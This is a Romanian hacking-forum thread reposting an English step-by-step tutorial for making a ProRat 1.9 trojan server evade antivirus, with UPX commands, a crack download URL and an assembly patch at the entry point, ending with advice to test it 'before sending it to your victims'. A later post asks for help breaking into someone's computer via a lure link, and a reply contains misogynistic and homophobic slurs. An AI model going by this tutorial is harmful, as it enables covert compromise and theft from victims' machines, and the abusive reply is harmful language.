Jump to content
Da_Boss

Cum sa faci server de ProRat 1.9 sa fie nedetectabil!

Recommended Posts

L`am luat si eu de la nishte tipi .. dar inca nush daca e asa .. va rog sa imi spuneti cei care il incercati .. s`ar putea sa mearga ok?

This Tutorial will show you how to make your ProRat v1.9-Fix01 server undetectable in 8 steps (in English Smile). Works for all Anti Virus systems!

Step 1: Download UPX v1.25 from http://upx.sourceforge.net

Step 2: Decompress the server. (upx -d server.exe)

Step 3: Download Furtif_00's AWESOME crack to bypass the edit protection from http://ch.ti.hack.site.voila.fr/ProPatch.exe

Step 4: Apply the patch. (propatch server.exe)

Step 5: Repack the server with UPX. (upx -9 server.exe)

Step 6: Open server.exe in a disassembler and go to the address of the OEP (Entrypoint + Image Base = OEP). If you do not know what I am talking about read about the PE file format first (and about assembly Cool). You should see something like "60 pushad". Scroll down a few pages until you see plenty of "00 add [eax],al". At this address you write the following commands which will prevent the Anti Virus systems from detecting that the file is UPX packed (and the AV's won't decode it in memory):

Quote:

push "address of the OEP" <== Patchaddress
push eax
pushfd
pushad
call "address of the next command (which is "retn 28")"
retn 28
inc ecx <==New program entrypoint
loop "Patchaddress"

(from governmentsecurity.org)

Step 7: Change the programs entrypoint to our new one in the PE header. You can do this with a hex editor or with some other tools.

Step 8: Scan the server (which should be undetectable now) and you had better test it before sending it to your victims. Smile

This patch can be used for all other trojans too. (Skip the cracking step)

Enjoy your undetectable server!!

Link to comment
Share on other sites

brunetzelul ..topicul e vechi daca te-ai uitat la data

daca to l-ai redeschis ... eu zic sa te apuci sa inveti singur exista tutoriale pe youtube si cauta pe google

daca nu ai inteles un anumit punct din program intreaba si te pot ajuta

mai exact ce doresti sa faci cu el ? unde vrei sa il folosesti ? cu ce scop ? ce nu ai in inteles din el ?

Incearca mai intai google si nu fi lenes

Bafta

Link to comment
Share on other sites

Buna! Va rog mult de tot ! am nevoie de ajutorul vostru ! Deci...problema sta in felul urmator....Vreau sa intru neaparat in calculatorul cuiva,dar nu am acces la el....am cautat pe net si am auzit de acest program minune prorat....va rog mult explicati-mi cum exact se procedeaza.. cum trebuie sa fac serverul...ca nu am idee....si daca este posibila vreo varianta simpla gen un link ceva.... ca sa imi poata cadea in capcana. Acest troian nu-mi afecteaza si pc-ul meu ?:(pls help!

Link to comment
Share on other sites

Guest Nemessis
Buna! Va rog mult de tot ! am nevoie de ajutorul vostru ! Deci...problema sta in felul urmator....Vreau sa intru neaparat in calculatorul cuiva,dar nu am acces la el....am cautat pe net si am auzit de acest program minune prorat....va rog mult explicati-mi cum exact se procedeaza.. cum trebuie sa fac serverul...ca nu am idee....si daca este posibila vreo varianta simpla gen un link ceva.... ca sa imi poata cadea in capcana. Acest troian nu-mi afecteaza si pc-ul meu ?:(pls help!

Tie nu ti-a spus nimeni ca pe RST suntem toti ghei, nesimtiti, misogini si nu vorbim cu pizdele?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...